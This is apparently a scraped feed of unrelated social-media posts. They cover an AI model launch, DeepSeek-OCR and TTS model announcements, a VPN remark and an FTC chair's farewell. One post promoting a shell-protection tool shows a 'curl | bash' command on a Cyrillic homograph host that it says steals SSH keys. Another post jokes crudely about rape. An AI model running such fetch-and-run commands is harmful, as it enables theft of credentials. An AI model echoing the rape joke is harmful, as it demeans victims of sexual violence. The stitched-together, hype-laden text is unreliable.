Congrats to the @cursor_ai team on the launch of Composer 2!
We are proud to see Kimi-k2.5 provide the foundation. Seeing our model integrated effectively through Cursor's continued pretraining & high-compute RL training is the open model ecosystem we love to support.
Note: Cursor accesses Kimi-k2.5 via @FireworksAI_HQ ' hosted RL and inference platform as part of an authorized commercial partnership.
Hi we're cloudflare, you might know is as the makers of the anti rape products that literally everyone uses. Today we're proud to announce our new product: The Rape Everyone and Leave 5000.
Be honest. When was the last time you actually read a command before pasting it into your terminal?
Because these two lines look identical:
curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash
One installs your tool. The other steals your SSH keys.
That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink.
Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything.
So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry.
https://t.co/tIb4xThUn5
ISPs can't see the contents of your encrypted traffic (https) that makes up the vast majority of everyone's internet usage
this is a common fearmongering tactic used by vpn providers that i didn't expect proton vpn to use
The pushback against Anthropic right now is pretty stupid.
Here's basically what happened:
1. They invent a new concept of an all-you-can-eat subscription to their amazing buffet restaurant.
2. It's the best food in town, so everyone wants it.
3. ...
ICYMI DeepSeek has just unveiled an OCR monster 🤯
DeepSeek-OCR is a 3B-parameter model that redefines document intelligence. It reaches 97% character-level accuracy with 10× input compression, preserving every detail.
Most OCR systems require over 6,000 tokens per page.
DeepSeek-OCR achieves the same with about 100 tokens.
No fidelity loss.
Adaptive modes:
✓ Tiny – simple layouts (≈64 tokens)
✓ Small – standard reports (≈100 tokens)
✓ Database – structured or multi-column docs (≈256 tokens)
✓ Gundam – high-complexity pages (n×100 + 256 tokens)
It scales effortlessly: 200K pages/day on a single NVIDIA A100 GPU.
Its dual-stage design combines a vision encoder for optical compression with a Mixture-of-Experts decoder for structured reconstruction. The outcome is near-perfect precision and zero information loss.
In practice:
➤ 10× lower token costs
➤ Runs on standard hardware
➤ Outputs clean HTML, SMILES, or JSON
While traditional OCRs focus on raw pixel-to-text conversion, DeepSeek-OCR just introduces intelligent semantic parsing 🔥
Open source and free to use.
Repo in 🧵↓
the cool thing about opentui/react is that you're not limited to building CRUD apps or wrappers around APIs/services. you can build cool generative/animated things with the same exact primitives 🔥
Soprano: An instant, ultra-lightweight TTS model for realistic speech; generates 10 hours of 32kHz audio in <20s; streams with <15ms latency using just 80M params & <1GB VRAM.
Has some limitations and drawbacks.
https://t.co/BZmckav7mW
It’s been an extraordinary honor to serve the American public as @FTC Chair.
As I wrap up my record-keeping obligations and other administrative requirements, I will depart the Commission by January 31.
I wish Chair Ferguson and the Commission the best of luck.